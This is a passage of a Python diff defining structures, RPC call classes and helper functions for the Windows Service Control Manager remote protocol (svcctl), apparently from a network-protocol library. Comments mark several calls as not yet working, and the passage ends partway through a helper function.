+class SC_RPC_NOTIFY_PARAMS_ARRAY(NDRUniConformantArray):
+     item = SC_RPC_NOTIFY_PARAMS
+
+class PSC_RPC_NOTIFY_PARAMS_LIST(NDRSTRUCT):
+    structure = (
+        ('cElements',BOUNDED_DWORD_4K),
+        ('NotifyParamsArray', SC_RPC_NOTIFY_PARAMS_ARRAY),
+    )
+
+class SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW(NDRSTRUCT):
+    structure = (
+        ('dwReason', DWORD),
+        ('pszComment', LPWSTR),
+    )
+
+class SERVICE_TRIGGER_SPECIFIC_DATA_ITEM(NDRSTRUCT):
+    structure = (
+        ('dwDataType',DWORD ),
+        ('cbData',DWORD),
+        ('pData', LPBYTE),
+    )
+    def getData(self, soFar = 0):
+        if self['pData'] != 0:
+            self['cbData'] = len(self['pData'])
+        return NDR.getData(self, soFar)
+
+class SERVICE_TRIGGER_SPECIFIC_DATA_ITEM_ARRAY(NDRUniConformantArray):
+    item = SERVICE_TRIGGER_SPECIFIC_DATA_ITEM
+
+class PSERVICE_TRIGGER_SPECIFIC_DATA_ITEM(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_TRIGGER_SPECIFIC_DATA_ITEM_ARRAY),
+    )
+
+class SERVICE_TRIGGER(NDRSTRUCT):
+    structure = (
+        ('dwTriggerType', DWORD),
+        ('dwAction', DWORD),
+        ('pTriggerSubtype', PGUID),
+        ('cDataItems', DWORD),
+        ('pDataItems', PSERVICE_TRIGGER_SPECIFIC_DATA_ITEM),
+    )
+    def getData(self, soFar = 0):
+        if self['pDataItems'] != 0:
+            self['cDataItems'] = len(self['pDataItems'])
+        return NDR.getData(self, soFar)
+
+class SERVICE_TRIGGER_ARRAY(NDRUniConformantArray):
+    item = SERVICE_TRIGGER
+
+class PSERVICE_TRIGGER(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_TRIGGER_ARRAY),
+    )
+
+class SERVICE_CONTROL_STATUS_REASON_OUT_PARAMS(NDRSTRUCT):
+    structure = (
+       ('ServiceStatus', SERVICE_STATUS_PROCESS),
+    )
+
+class SERVICE_TRIGGER_INFO(NDRSTRUCT):
+    structure = (
+        ('cTriggers', DWORD),
+        ('pTriggers', PSERVICE_TRIGGER),
+        ('pReserved', NDRPOINTERNULL ),
+    )
+    def getData(self, soFar = 0):
+        if self['pTriggers'] != 0:
+            self['cTriggers'] = len(self['pTriggers'])
+        return NDR.getData(self, soFar)
+    
+class PSERVICE_TRIGGER_INFO(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_TRIGGER_INFO),
+    )
+
+class SERVICE_PREFERRED_NODE_INFO(NDRSTRUCT):
+    structure = (
+        ('usPreferredNode', USHORT),
+        ('fDelete', BOOL),
+    )
+
+class LPSERVICE_PREFERRED_NODE_INFO(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_PREFERRED_NODE_INFO),
+    )
+
+class SERVICE_RUNLEVEL_INFO(NDRSTRUCT):
+    structure = (
+        ('eLowestRunLevel', DWORD),
+    )
+
+class PSERVICE_RUNLEVEL_INFO(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_RUNLEVEL_INFO),
+    )
+
+class SERVICE_MANAGEDACCOUNT_INFO(NDRSTRUCT):
+    structure = (
+        ('fIsManagedAccount', DWORD),
+    )
+
+class PSERVICE_MANAGEDACCOUNT_INFO(NDRPOINTER):
+    referent = (
+        ('Data', SERVICE_MANAGEDACCOUNT_INFO),
+    )
+
+class SC_RPC_CONFIG_INFOW_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+
+    union = {
+        1: ('psd', LPSERVICE_DESCRIPTIONW),
+        2: ('psfa',LPSERVICE_FAILURE_ACTIONSW ),
+        3: ('psda',LPSERVICE_DELAYED_AUTO_START_INFO),
+        4: ('psfaf',LPSERVICE_FAILURE_ACTIONS_FLAG),
+        5: ('pssid',LPSERVICE_SID_INFO),
+        6: ('psrp',LPSERVICE_RPC_REQUIRED_PRIVILEGES_INFO),
+        7: ('psps',LPSERVICE_PRESHUTDOWN_INFO),
+        8: ('psti',PSERVICE_TRIGGER_INFO),
+        9: ('pspn',LPSERVICE_PREFERRED_NODE_INFO),
+        10: ('psri',PSERVICE_RUNLEVEL_INFO),
+        11: ('psma',PSERVICE_MANAGEDACCOUNT_INFO),
+    }
+
+class SC_RPC_CONFIG_INFOW(NDRSTRUCT):
+    structure = (
+        ('dwInfoLevel', DWORD),
+        ('Union', SC_RPC_CONFIG_INFOW_UNION),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+class RCloseServiceHandle(NDRCALL):
+    opnum = 0
+    structure = (
+        ('hSCObject',SC_RPC_HANDLE),
+    )
+
+class RCloseServiceHandleResponse(NDRCALL):
+    structure = (
+        ('hSCObject',SC_RPC_HANDLE),
+        ('ErrorCode', DWORD),
+    )
+
+class RControlService(NDRCALL):
+    opnum = 1
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('dwControl',DWORD),
+    )
+
+class RControlServiceResponse(NDRCALL):
+    structure = (
+        ('lpServiceStatus',SERVICE_STATUS),
+        ('ErrorCode', DWORD),
+    )
+
+class RDeleteService(NDRCALL):
+    opnum = 2
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+    )
+
+class RDeleteServiceResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', DWORD),
+    )
+
+class RLockServiceDatabase(NDRCALL):
+    opnum = 3
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+    )
+
+class RLockServiceDatabaseResponse(NDRCALL):
+    structure = (
+        ('lpLock',SC_RPC_LOCK),
+        ('ErrorCode', DWORD),
+    )
+
+class RQueryServiceObjectSecurity(NDRCALL):
+    opnum = 4
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('dwSecurityInformation',SECURITY_INFORMATION),
+        ('cbBufSize',DWORD),
+    )
+
+class RQueryServiceObjectSecurityResponse(NDRCALL):
+    structure = (
+        ('lpSecurityDescriptor', BYTE_ARRAY),
+        ('pcbBytesNeeded',BOUNDED_DWORD_256K),
+        ('ErrorCode', DWORD),
+    )
+
+class RSetServiceObjectSecurity(NDRCALL):
+    opnum = 5
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('dwSecurityInformation',SECURITY_INFORMATION),
+        ('lpSecurityDescriptor',LPBYTE),
+        ('cbBufSize',DWORD),
+    )
+
+class RSetServiceObjectSecurityResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', DWORD),
+    )
+
+class RQueryServiceStatus(NDRCALL):
+    opnum = 6
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+    )
+
+class RQueryServiceStatusResponse(NDRCALL):
+    structure = (
+        ('lpServiceStatus',SERVICE_STATUS),
+        ('ErrorCode', DWORD),
+    )
+
+class RSetServiceStatus(NDRCALL):
+    opnum = 7
+    structure = (
+        ('hServiceStatus',SC_RPC_HANDLE),
+        ('lpServiceStatus',SERVICE_STATUS),
+    )
+
+class RSetServiceStatusResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', DWORD),
+    )
+
+class RUnlockServiceDatabase(NDRCALL):
+    opnum = 8
+    structure = (
+        ('Lock',SC_RPC_LOCK),
+    )
+
+class RUnlockServiceDatabaseResponse(NDRCALL):
+    structure = (
+        ('Lock',SC_RPC_LOCK),
+        ('ErrorCode', DWORD),
+    )
+
+class RNotifyBootConfigStatus(NDRCALL):
+    opnum = 9
+    structure = (
+        ('lpMachineName',SVCCTL_HANDLEW),
+        ('BootAcceptable',DWORD),
+    )
+
+class RNotifyBootConfigStatusResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', DWORD),
+    )
+
+class RChangeServiceConfigW(NDRCALL):
+    opnum = 11
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('dwServiceType',DWORD),
+        ('dwStartType',DWORD),
+        ('dwErrorControl',DWORD),
+        ('lpBinaryPathName',LPWSTR),
+        ('lpLoadOrderGroup',LPWSTR),
+        ('lpdwTagId',LPDWORD),
+        ('lpDependencies',LPBYTE),
+        ('dwDependSize',DWORD),
+        ('lpServiceStartName',LPWSTR),
+        ('lpPassword',LPBYTE),
+        ('dwPwSize',DWORD),
+        ('lpDisplayName',LPWSTR),
+    )
+
+class RChangeServiceConfigWResponse(NDRCALL):
+    structure = (
+        ('lpdwTagId',LPDWORD),
+        ('ErrorCode', DWORD),
+    )
+
+class RCreateServiceW(NDRCALL):
+    opnum = 12
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('lpServiceName',WSTR),
+        ('lpDisplayName',LPWSTR),
+        ('dwDesiredAccess',DWORD),
+        ('dwServiceType',DWORD),
+        ('dwStartType',DWORD),
+        ('dwErrorControl',DWORD),
+        ('lpBinaryPathName',WSTR),
+        ('lpLoadOrderGroup',LPWSTR),
+        ('lpdwTagId',LPDWORD),
+        ('lpDependencies',LPBYTE),
+        ('dwDependSize',DWORD),
+        ('lpServiceStartName',LPWSTR),
+        ('lpPassword',LPBYTE),
+        ('dwPwSize',DWORD),
+    )
+
+class RCreateServiceWResponse(NDRCALL):
+    structure = (
+        ('lpdwTagId',LPWSTR),
+        ('lpServiceHandle',SC_RPC_HANDLE),
+        ('ErrorCode', DWORD),
+    )
+
+class REnumDependentServicesW(NDRCALL):
+    opnum = 13
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('dwServiceState',DWORD),
+        ('cbBufSize',DWORD),
+    )
+
+class REnumDependentServicesWResponse(NDRCALL):
+    structure = (
+        ('lpServices',NDRUniConformantArray),
+        ('pcbBytesNeeded',BOUNDED_DWORD_256K),
+        ('lpServicesReturned',BOUNDED_DWORD_256K),
+        ('ErrorCode', DWORD),
+    )
+
+class REnumServicesStatusW(NDRCALL):
+    opnum = 14
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('dwServiceType',DWORD),
+        ('dwServiceState',DWORD),
+        ('cbBufSize',DWORD),
+        ('lpResumeIndex',LPBOUNDED_DWORD_256K),
+    )
+
+class REnumServicesStatusWResponse(NDRCALL):
+    structure = (
+        ('lpBuffer',NDRUniConformantArray),
+        ('pcbBytesNeeded',BOUNDED_DWORD_256K),
+        ('lpServicesReturned',BOUNDED_DWORD_256K),
+        ('lpResumeIndex',LPBOUNDED_DWORD_256K),
+        ('ErrorCode', DWORD),
+    )
+
+class ROpenSCManagerW(NDRCALL):
+    opnum = 15
+    structure = (
+        ('lpMachineName',SVCCTL_HANDLEW),
+        ('lpDatabaseName',LPWSTR),
+        ('dwDesiredAccess',DWORD),
+    )
+
+class ROpenSCManagerWResponse(NDRCALL):
+    structure = (
+        ('lpScHandle',SC_RPC_HANDLE),
+        ('ErrorCode', DWORD),
+    )
+
+class ROpenServiceW(NDRCALL):
+    opnum = 16
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('lpServiceName',WSTR),
+        ('dwDesiredAccess',DWORD),
+    )
+
+class ROpenServiceWResponse(NDRCALL):
+    structure = (
+        ('lpServiceHandle',SC_RPC_HANDLE),
+        ('ErrorCode', DWORD),
+    )
+
+class RQueryServiceConfigW(NDRCALL):
+    opnum = 17
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('cbBufSize',DWORD),
+    )
+
+class RQueryServiceConfigWResponse(NDRCALL):
+    structure = (
+        ('lpServiceConfig',QUERY_SERVICE_CONFIGW),
+        ('pcbBytesNeeded',BOUNDED_DWORD_8K),
+        ('ErrorCode', DWORD),
+    )
+
+class RQueryServiceLockStatusW(NDRCALL):
+    opnum = 18
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('cbBufSize',DWORD),
+    )
+
+class RQueryServiceLockStatusWResponse(NDRCALL):
+    structure = (
+        ('lpLockStatus',QUERY_SERVICE_LOCK_STATUSW),
+        ('pcbBytesNeeded',BOUNDED_DWORD_4K),
+        ('ErrorCode', DWORD),
+    )
+
+class RStartServiceW(NDRCALL):
+    opnum = 19
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('argc',DWORD),
+        ('argv',UNIQUE_STRING_PTRSW),
+    )
+
+class RStartServiceWResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', DWORD),
+    )
+
+class RGetServiceDisplayNameW(NDRCALL):
+    opnum = 20
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('lpServiceName',WSTR),
+        ('lpcchBuffer',DWORD),
+    )
+
+class RGetServiceDisplayNameWResponse(NDRCALL):
+    structure = (
+        ('lpDisplayName',WSTR),
+        ('lpcchBuffer',DWORD),
+        ('ErrorCode', DWORD),
+    )
+
+class RGetServiceKeyNameW(NDRCALL):
+    opnum = 21
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('lpDisplayName',WSTR),
+        ('lpcchBuffer',DWORD),
+    )
+
+class RGetServiceKeyNameWResponse(NDRCALL):
+    structure = (
+        ('lpDisplayName',WSTR),
+        ('lpcchBuffer',DWORD),
+        ('ErrorCode', DWORD),
+    )
+
+class REnumServiceGroupW(NDRCALL):
+    opnum = 35
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('dwServiceType',DWORD),
+        ('dwServiceState',DWORD),
+        ('cbBufSize',DWORD),
+        ('lpResumeIndex',LPBOUNDED_DWORD_256K),
+        ('pszGroupName',LPWSTR),
+    )
+
+class REnumServiceGroupWResponse(NDRCALL):
+    structure = (
+        ('lpBuffer',LPBYTE),
+        ('pcbBytesNeeded',BOUNDED_DWORD_256K),
+        ('lpServicesReturned',BOUNDED_DWORD_256K),
+        ('lpResumeIndex',BOUNDED_DWORD_256K),
+        ('ErrorCode', DWORD),
+    )
+
+class RChangeServiceConfig2W(NDRCALL):
+    opnum = 37
+    structure = (
+       ('hService',SC_RPC_HANDLE),
+       ('Info',SC_RPC_CONFIG_INFOW),
+    )
+
+class RChangeServiceConfig2WResponse(NDRCALL):
+    structure = (
+        ('ErrorCode', DWORD),
+    )
+
+class RQueryServiceConfig2W(NDRCALL):
+    opnum = 39
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('dwInfoLevel',DWORD),
+        ('cbBufSize',DWORD),
+    )
+
+class RQueryServiceConfig2WResponse(NDRCALL):
+    structure = (
+        ('lpBuffer',NDRUniConformantArray),
+        ('pcbBytesNeeded',BOUNDED_DWORD_8K),
+        ('ErrorCode', DWORD),
+    )
+
+class RQueryServiceStatusEx(NDRCALL):
+    opnum = 40
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('InfoLevel',DWORD),
+        ('cbBufSize',DWORD),
+    )
+
+class RQueryServiceStatusExResponse(NDRCALL):
+    structure = (
+        ('lpBuffer',NDRUniConformantArray),
+        ('pcbBytesNeeded',BOUNDED_DWORD_8K),
+        ('ErrorCode', DWORD),
+    )
+
+class REnumServicesStatusExW(NDRCALL):
+    opnum = 42
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('InfoLevel',DWORD),
+        ('dwServiceType',DWORD),
+        ('dwServiceState',DWORD),
+        ('cbBufSize',DWORD),
+        ('lpResumeIndex',LPBOUNDED_DWORD_256K),
+        ('pszGroupName',LPWSTR),
+    )
+
+class REnumServicesStatusExWResponse(NDRCALL):
+    structure = (
+        ('lpBuffer',NDRUniConformantArray),
+        ('pcbBytesNeeded',BOUNDED_DWORD_256K),
+        ('lpServicesReturned',BOUNDED_DWORD_256K),
+        ('lpResumeIndex',BOUNDED_DWORD_256K),
+        ('ErrorCode', DWORD),
+    )
+
+class RCreateServiceWOW64W(NDRCALL):
+    opnum = 45
+    structure = (
+        ('hSCManager',SC_RPC_HANDLE),
+        ('lpServiceName',WSTR),
+        ('lpDisplayName',LPWSTR),
+        ('dwDesiredAccess',DWORD),
+        ('dwServiceType',DWORD),
+        ('dwStartType',DWORD),
+        ('dwErrorControl',DWORD),
+        ('lpBinaryPathName',WSTR),
+        ('lpLoadOrderGroup',LPWSTR),
+        ('lpdwTagId',LPDWORD),
+        ('lpDependencies',LPBYTE),
+        ('dwDependSize',DWORD),
+        ('lpServiceStartName',LPWSTR),
+        ('lpPassword',LPBYTE),
+        ('dwPwSize',DWORD),
+    )
+
+class RCreateServiceWOW64WResponse(NDRCALL):
+    structure = (
+        ('lpdwTagId',LPWSTR),
+        ('lpServiceHandle',SC_RPC_HANDLE),
+        ('ErrorCode', DWORD),
+    )
+
+# Still not working, for some reason something changes in the way the pointer inside SC_RPC_NOTIFY_PARAMS is marshalled here
+class RNotifyServiceStatusChange(NDRCALL):
+    opnum = 47
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('NotifyParams',SC_RPC_NOTIFY_PARAMS),
+        ('pClientProcessGuid',GUID),
+    )
+
+class RNotifyServiceStatusChangeResponse(NDRCALL):
+    structure = (
+        ('pSCMProcessGuid',GUID),
+        ('pfCreateRemoteQueue',PBOOL),
+        ('phNotify',SC_NOTIFY_RPC_HANDLE),
+        ('ErrorCode', DWORD),
+    )
+
+# Not working, until I don't fix the previous one
+class RGetNotifyResults(NDRCALL):
+    opnum = 48
+    structure = (
+        ('hNotify',SC_NOTIFY_RPC_HANDLE),
+    )
+
+class RGetNotifyResultsResponse(NDRCALL):
+    structure = (
+        ('ppNotifyParams',PSC_RPC_NOTIFY_PARAMS_LIST),
+        ('ErrorCode', DWORD),
+    )
+
+# Not working, until I don't fix the previous ones
+class RCloseNotifyHandle(NDRCALL):
+    opnum = 49
+    structure = (
+        ('phNotify',SC_NOTIFY_RPC_HANDLE),
+    )
+
+class RCloseNotifyHandleResponse(NDRCALL):
+    structure = (
+        ('phNotify',SC_NOTIFY_RPC_HANDLE),
+        ('pfApcFired',PBOOL),
+        ('ErrorCode', DWORD),
+    )
+
+# Not working, returning bad_stub_data
+class RControlServiceExW(NDRCALL):
+    opnum = 51
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('dwControl',DWORD),
+        ('dwInfoLevel',DWORD),
+        ('pControlInParams',SERVICE_CONTROL_STATUS_REASON_IN_PARAMSW),
+    )
+
+class RControlServiceExWResponse(NDRCALL):
+    structure = (
+        ('pControlOutParams',SERVICE_CONTROL_STATUS_REASON_OUT_PARAMS),
+        ('ErrorCode', DWORD),
+    )
+
+class RQueryServiceConfigEx(NDRCALL):
+    opnum = 56
+    structure = (
+        ('hService',SC_RPC_HANDLE),
+        ('dwInfoLevel',DWORD),
+    )
+
+class RQueryServiceConfigExResponse(NDRCALL):
+    structure = (
+        ('pInfo',SC_RPC_CONFIG_INFOW),
+        ('ErrorCode', DWORD),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (RCloseServiceHandle, RCloseServiceHandleResponse),
+ 1 : (RControlService, RControlServiceResponse),
+ 2 : (RDeleteService, RDeleteServiceResponse),
+ 3 : (RLockServiceDatabase, RLockServiceDatabaseResponse),
+ 4 : (RQueryServiceObjectSecurity, RQueryServiceObjectSecurityResponse),
+ 5 : (RSetServiceObjectSecurity, RSetServiceObjectSecurityResponse),
+ 6 : (RQueryServiceStatus, RQueryServiceStatusResponse),
+ 7 : (RSetServiceStatus, RSetServiceStatusResponse),
+ 8 : (RUnlockServiceDatabase, RUnlockServiceDatabaseResponse),
+ 9 : (RNotifyBootConfigStatus, RNotifyBootConfigStatusResponse),
+11 : (RChangeServiceConfigW, RChangeServiceConfigWResponse),
+12 : (RCreateServiceW, RCreateServiceWResponse),
+13 : (REnumDependentServicesW, REnumDependentServicesWResponse),
+14 : (REnumServicesStatusW, REnumServicesStatusWResponse),
+15 : (ROpenSCManagerW, ROpenSCManagerWResponse),
+16 : (ROpenServiceW, ROpenServiceWResponse),
+17 : (RQueryServiceConfigW, RQueryServiceConfigWResponse),
+18 : (RQueryServiceLockStatusW, RQueryServiceLockStatusWResponse),
+19 : (RStartServiceW, RStartServiceWResponse),
+20 : (RGetServiceDisplayNameW, RGetServiceDisplayNameWResponse),
+21 : (RGetServiceKeyNameW, RGetServiceKeyNameWResponse),
+35 : (REnumServiceGroupW, REnumServiceGroupWResponse),
+37 : (RChangeServiceConfig2W, RChangeServiceConfig2WResponse),
+39 : (RQueryServiceConfig2W, RQueryServiceConfig2WResponse),
+40 : (RQueryServiceStatusEx, RQueryServiceStatusExResponse),
+42 : (REnumServicesStatusExW, REnumServicesStatusExWResponse),
+45 : (RCreateServiceWOW64W, RCreateServiceWOW64WResponse),
+47 : (RNotifyServiceStatusChange, RNotifyServiceStatusChangeResponse),
+48 : (RGetNotifyResults, RGetNotifyResultsResponse),
+49 : (RCloseNotifyHandle, RCloseNotifyHandleResponse),
+51 : (RControlServiceExW, RControlServiceExWResponse),
+56 : (RQueryServiceConfigEx, RQueryServiceConfigExResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hRCloseServiceHandle(dce, hSCObject):
+    request = RCloseServiceHandle()
+    request['hSCObject'] = hSCObject
+    return dce.request(request)
+
+def hRControlService(dce, hService, dwControl):
+    request = RControlService()
+    request['hService'] = hService
+    request['dwControl'] = dwControl
+    return dce.request(request)
+
+def hRDeleteService(dce, hService):
+    request = RDeleteService()
+    request ['hService'] = hService
+    return dce.request(request)
+
+def hRLockServiceDatabase(dce, hSCManager):
+    request = RLockServiceDatabase()
+    request['hSCManager'] = hSCManager
+    return dce.request(request)
+
+
+def hRQueryServiceObjectSecurity(dce, hService, dwSecurityInformation, cbBufSize=0):
+    request = RQueryServiceObjectSecurity()
+    request['hService'] = hService
+    request['dwSecurityInformation'] = dwSecurityInformation
+    request['cbBufSize'] = cbBufSize
+    try:
+        resp = dce.request(request)
+    except DCERPCSessionError as e:
+        if e.get_error_code() == system_errors.ERROR_INSUFFICIENT_BUFFER:
+            resp = e.get_packet()
+            request['cbBufSize'] = resp['pcbBytesNeeded']
+            resp = dce.request(request)
+        else:
+            raise
+    return resp
+
+def hRSetServiceObjectSecurity(dce, hService, dwSecurityInformation, lpSecurityDescriptor, cbBufSize ):
+    request = RSetServiceObjectSecurity()
+    request['hService'] = hService
+    request['dwSecurityInformation'] = dwSecurityInformation
+    request['cbBufSize'] = cbBufSize
+    return dce.request(request)
+
+def hRQueryServiceStatus(dce, hService ):
+    request = RQueryServiceStatus()
+    request['hService'] = hService
+    return dce.request(request)
+
+def hRSetServiceStatus(dce, hServiceStatus, lpServiceStatus ):
+    request = RSetServiceStatus()
+    request['hServiceStatus'] = hServiceStatus
+    request['lpServiceStatus'] = lpServiceStatus
+    return dce.request(request)
+
+def hRUnlockServiceDatabase(dce, Lock ):
+    request = RUnlockServiceDatabase()
+    request['Lock'] = Lock
+    return dce.request(request)
+
+def hRNotifyBootConfigStatus(dce, lpMachineName, BootAcceptable ):
+    request = RNotifyBootConfigStatus()
+    request['lpMachineName'] = lpMachineName
+    request['BootAcceptable'] = BootAcceptable
+    return dce.request(request)
+
+def hRChangeServiceConfigW(dce, hService, dwServiceType=SERVICE_NO_CHANGE, dwStartType=SERVICE_NO_CHANGE, dwErrorControl=SERVICE_NO_CHANGE, lpBinaryPathName=NULL, lpLoadOrderGroup=NULL, lpdwTagId=NULL, lpDependencies=NULL, dwDependSize=0, lpServiceStartName=NULL, lpPassword=NULL, dwPwSize=0, lpDisplayName=NULL):
+    changeServiceConfig = RChangeServiceConfigW()
+    changeServiceConfig['hService'] = hService
+    changeServiceConfig['dwServiceType'] = dwServiceType
+    changeServiceConfig['dwStartType'] = dwStartType
+    changeServiceConfig['dwErrorControl'] = dwErrorControl
+    changeServiceConfig['lpBinaryPathName'] = checkNullString(lpBinaryPathName)
+    changeServiceConfig['lpLoadOrderGroup'] = checkNullString(lpLoadOrderGroup)
+    changeServiceConfig['lpdwTagId'] = lpdwTagId
+    changeServiceConfig['lpDependencies'] = lpDependencies
+    # Strings MUST be NULL terminated for lpDependencies
+    changeServiceConfig['dwDependSize'] = dwDependSize
+    changeServiceConfig['lpServiceStartName'] = checkNullString(lpServiceStartName)
+    changeServiceConfig['lpPassword'] = lpPassword
+    changeServiceConfig['dwPwSize'] = dwPwSize
+    changeServiceConfig['lpDisplayName'] = checkNullString(lpDisplayName)
+    return dce.request(changeServiceConfig)
+
+def hRCreateServiceW(dce, hSCManager, lpServiceName, lpDisplayName, dwDesiredAccess=SERVICE_ALL_ACCESS, dwServiceType=SERVICE_WIN32_OWN_PROCESS, dwStartType=SERVICE_AUTO_START, dwErrorControl=SERVICE_ERROR_IGNORE, lpBinaryPathName=NULL, lpLoadOrderGroup=NULL, lpdwTagId=NULL, lpDependencies=NULL, dwDependSize=0, lpServiceStartName=NULL, lpPassword=NULL, dwPwSize=0):
+    createService = RCreateServiceW()
+    createService['hSCManager'] = hSCManager
+    createService['lpServiceName'] = checkNullString(lpServiceName)
+    createService['lpDisplayName'] = checkNullString(lpDisplayName)
+    createService['dwDesiredAccess'] = dwDesiredAccess
+    createService['dwServiceType'] = dwServiceType
+    createService['dwStartType'] = dwStartType
+    createService['dwErrorControl'] = dwErrorControl
+    createService['lpBinaryPathName'] = checkNullString(lpBinaryPathName)
+    createService['lpLoadOrderGroup'] = checkNullString(lpLoadOrderGroup)
+    createService['lpdwTagId'] = lpdwTagId
+    # Strings MUST be NULL terminated for lpDependencies
+    createService['lpDependencies'] = lpDependencies
+    createService['dwDependSize'] = dwDependSize
+    createService['lpServiceStartName'] = checkNullString(lpServiceStartName)
+    createService['lpPassword'] = lpPassword
+    createService['dwPwSize'] = dwPwSize
+    return dce.request(createService)
+
+def hREnumDependentServicesW(dce, hService, dwServiceState, cbBufSize ):
+    enumDependentServices = REnumDependentServicesW()
+    enumDependentServices['hService'] = hService
+    enumDependentServices['dwServiceState'] = dwServiceState
+    enumDependentServices['cbBufSize'] = cbBufSize
+    return dce.request(enumDependentServices)
+
+def hREnumServicesStatusW(dce, hSCManager, dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_KERNEL_DRIVER|SERVICE_FILE_SYSTEM_DRIVER|SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS, dwServiceState=SERVICE_STATE_ALL):
+    class ENUM_SERVICE_STATUSW2(NDRSTRUCT):
+        # This is a little trick, since the original structure is slightly different
+        # but instead of parsing the LPBYTE buffer at hand, we just do it with the aid
+        # of the NDR library, although the pointers are swapped from the original specification.
+        # Why is this? Well.. since we're getting an LPBYTE back, it's just a copy of the remote's memory
+        # where the pointers are actually POINTING to the data.
+        # Sadly, the pointers are not aligned based on the services records, so we gotta do this
+        # It should be easier in C of course.
+        class STR(NDRPOINTER):
+            referent = (
+                ('Data', WIDESTR),
+            )
+        structure = (
+            ('lpServiceName',STR),
+            ('lpDisplayName',STR),
+            ('ServiceStatus',SERVICE_STATUS),
+        )
+
+    enumServicesStatus = REnumServicesStatusW()
+    enumServicesStatus['hSCManager'] = hSCManager
+    enumServicesStatus['dwServiceType'] = dwServiceType
+    enumServicesStatus['dwServiceState'] = dwServiceState
+    enumServicesStatus['cbBufSize'] = 0
+    enumServicesStatus['lpResumeIndex'] = NULL
+
+    try:
+        resp = dce.request(enumServicesStatus)
+    except DCERPCSessionError as e:
+        if e.get_error_code() == system_errors.ERROR_MORE_DATA:
+            resp = e.get_packet()
+            enumServicesStatus['cbBufSize'] = resp['pcbBytesNeeded']
+            resp = dce.request(enumServicesStatus)
+        else:
+            raise
+    
+    # Now we're supposed to have all services returned. Now we gotta parse them
+
+    enumArray = NDRUniConformantArray()
+    enumArray.item = ENUM_SERVICE_STATUSW2
+
+    enumArray.setArraySize(resp['lpServicesReturned'])
+
+    data = b''.join(resp['lpBuffer'])
+    enumArray.fromString(data)
+    data = data[4:]
+    # Since the pointers here are pointing to the actual data, we have to reparse
+    # the referents
+    for record in enumArray['Data']:
+        offset =  record.fields['lpDisplayName'].fields['ReferentID']-4
+        name = WIDESTR(data[offset:])
+        record['lpDisplayName'] = name['Data']
+        offset =  record.fields['lpServiceName'].fields['ReferentID']-4
+        name = WIDESTR(data[offset:])
+        record['lpServiceName'] = name['Data']
+
+    return enumArray['Data']
+
+def hROpenSCManagerW(dce, lpMachineName='DUMMY\x00', lpDatabaseName='ServicesActive\x00', dwDesiredAccess=SERVICE_START | SERVICE_STOP | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_ENUMERATE_DEPENDENTS | SC_MANAGER_ENUMERATE_SERVICE):
+    openSCManager = ROpenSCManagerW()
+    openSCManager['lpMachineName'] = checkNullString(lpMachineName)
+    openSCManager['lpDatabaseName'] = checkNullString(lpDatabaseName)
+    openSCManager['dwDesiredAccess'] = dwDesiredAccess
+    return dce.request(openSCManager)
+
+def hROpenServiceW(dce, hSCManager, lpServiceName, dwDesiredAccess= SERVICE_ALL_ACCESS):
+    openService = ROpenServiceW()
+    openService['hSCManager'] = hSCManager
+    openService['lpServiceName'] = checkNullString(lpServiceName)
+    openService['dwDesiredAccess'] = dwDesiredAccess
+    return dce.request(openService)
+
+def hRQueryServiceConfigW(dce, hService):
+    queryService = RQueryServiceConfigW()
+    queryService['hService'] = hService
+    queryService['cbBufSize'] = 0
+    try:
+        resp = dce.request(queryService)
+    except DCERPCSessionError as e:
+        if e.get_error_code() == system_errors.ERROR_INSUFFICIENT_BUFFER:
+            resp = e.get_packet()
+            queryService['cbBufSize'] = resp['pcbBytesNeeded']
+            resp = dce.request(queryService)
+        else:
+            raise
+
+    return resp
+
+def hRQueryServiceLockStatusW(dce, hSCManager, cbBufSize ):
+    queryServiceLock = RQueryServiceLockStatusW()
+    queryServiceLock['hSCManager'] = hSCManager
+    queryServiceLock['cbBufSize'] = cbBufSize
+    return dce.request(queryServiceLock)
+
+def hRStartServiceW(dce, hService, argc=0, argv=NULL ):
